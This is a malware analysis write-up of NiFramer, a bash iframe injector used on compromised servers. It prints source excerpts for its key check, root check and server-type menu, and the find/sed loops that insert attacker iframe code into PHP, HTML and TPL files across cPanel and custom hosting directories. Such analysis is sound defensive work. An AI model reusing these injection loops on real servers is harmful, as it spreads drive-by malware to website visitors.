Inside an iframe injector: a look into NiFramer

Before the execution of NiFramer code, the iframe injector looks for a file named ‘niframer.txt’, which carries a secret key in the form of an MD5. The purpose of this key in the context of NiFramer is not clear. It could be an additional verification check if NiFramer is embedded within another software component – the key is required to execute NiFramer. It basically reads the file ‘niframer.key’ and outputs the value in variable ‘key’. This is matched against a hard-coded MD5/SHA key for verification and validation. If the key validation fails, two or three more attempts are made before NiFramer exits and stops the execution on the compromised server. A temporary file (/tmp/keyseq) is created for recording the number of attempts made. The embedded key does not appear to have any purpose if NiFramer is used as a standalone tool. Listing 1 shows a code snippet revealing how the key is validated. If the key is validated, the code triggers the file_check function.

key_check() {
 if [ -f niframer.key ]
 then
 key=`cat niframer.key`
 if [ “$key” != “<Insert Key>” ];
 then
 echo “ERROR: Key Invalid.”
 if [ -f /tmp/keyseq ]; then
 if [ “$((`cat /tmp/keyseq` + 1))” -gt 2 ]; then
 echo “0 retries left. Now removing self.”
 else
 echo “$((`cat /tmp/keyseq` + 1))” > /tmp/keyseq && echo “Retries Left:” “$((3 - `cat /tmp/keyseq`))” 
 fi
 else
 echo “Retries Left: 2”
 echo 1 > /tmp/keyseq
 fi
 else
 echo “Key Found... initializing...”
 file_check
 fi
 else
 echo “ERROR: Key file not found.”
 exit
 fi}

Listing 1: Key validation check.

The iframe injector reads the injection code (iframe code pointing to a domain serving malware) from a file. Instead of the iframe injection being hard coded, the injector is designed to read from a file in order to interpret injections for modularity and extensibility. Placing the iframe injection in a file makes it easy for the attackers to update the injections. NiFramer performs a file check as shown in Listing 2.

file_check() {
 if [ -f infect.txt ]
 then
 priv_check
 else
 echo “infect.txt is missing, please make the file with your code included”
 fi}

Listing 2: Iframe injection file validation.

The iframe injector performs a privilege (i.e. access rights) check after validating the existence of the injection file. The idea is to determine whether or not the attacker has root access on the compromised server. This check is necessary because non-super-user access can skew the iframe injection process. This is because restricted accounts might not have the necessary access rights to write and update the web pages of different hosts present on the server. NiFramer requires root access in order to carry out the injection process successfully. As shown in Listing 3, the iframe injector uses the ‘whoami’ command to check for root access on the server. If the attacker has root access, the next module is executed to initiate the iframe injection process. If the attacker does not have root access, the injection tool exits and becomes dormant.

priv_check() {
 if [ `whoami` != “root” ]
 then
 echo “Must be ran as root.”
 exit
 else
 echo “###################”
 echo “# NiFramer  by  ……...#”
 echo “###################”
   softwareami
 fi }
---------- Truncated -------------------------

Listing 3: Privilege access rights check.

Once root access has been verified, the type of software installed on the compromised server must be specified. The version of NiFramer we analysed has two options: cPanel web server software or custom web server software. The attacker selects the appropriate option and NiFramer executes the relevant code for the selected software. Listing 4 shows the code used to check for the installed software.

softwareami() {
 PS3=’Choose the system web server type: ‘
 Select software in “CPanel” “Custom” # Will add more definitions later.
 do
 $software
 done}
---------- Truncated -------------------------

Listing 4: Installed software type.

Once the attacker has specified the hosting server software, NiFramer loads the respective component for performing iframe injections. NiFramer has the capability to inject into HTML, PHP and TPL files [1]. This functionality can be extended to include additional files which can also be injected into based on the requirement.

The infection flow in custom web software is as follows:

Listing 6 shows how the custom hosting software is searched and web pages are injected.

custom() {
 echo -n “Please enter directory of home folders: “
 read home_dir
 cd $home_dir
 echo “Starting injection of PHP files”
 sleep 5
 for i in $(find `pwd` -name ‘*.php’ ${exempt[@]})
 do
 echo Injecting “$i”
 cat $i > $i.tmp && cat $i.tmp | sed s/<html>/<html>”$code”/g > $i
 rm -f $i.tmp
 done
 # Similarly for HTML and TPL files
-------------------- Truncated -----------------------

Listing 6: Injecting iframe into custom web server software.

The infection flow in cPanel software is as follows:

Listing 7 shows how NiFramer infects cPanel software.

CPanel() {
 echo “Scanning $(ls /home/ | wc -l) directorys for files. This could take a while...”
 cd /home/
 echo “Starting injection of PHP files”
 sleep 5
 for i in $(find `pwd` -name ‘*.php’ ${exempt[@]})
 do
 echo Injecting “$i”
 cat $i > $i.tmp && cat $i.tmp | sed s/<html>/<html>”$code”/g > $i
 rm -f $i.tmp
 done
 # Similarly for HTML and TPL files
 echo “Completed injection of found files.”
 cd /root/cpanel3-skel/public_html/
 if [ $(ls | grep html); then 
 for i in $(find `pwd` -name ‘*.html’ ${exempt[@]})
 do
 echo Injecting “$i”
 cat $i > $i.tmp && cat $i.tmp | sed s/<html>/<html>”$code”/g > $i
 rm -f $i.tmp
 done
 else
 echo “No HTML files found in /root/cpanel3-skel/public_html/”
 echo “Creating index.html..”
 echo $code > index.html
 sleep 1
 fi
 echo “Completed injection of skeleton directory.”
 echo “Starting injection into CPanel & WHM template files (The panel itself)”


Listing 7: Injecting iframe into cPanel server software.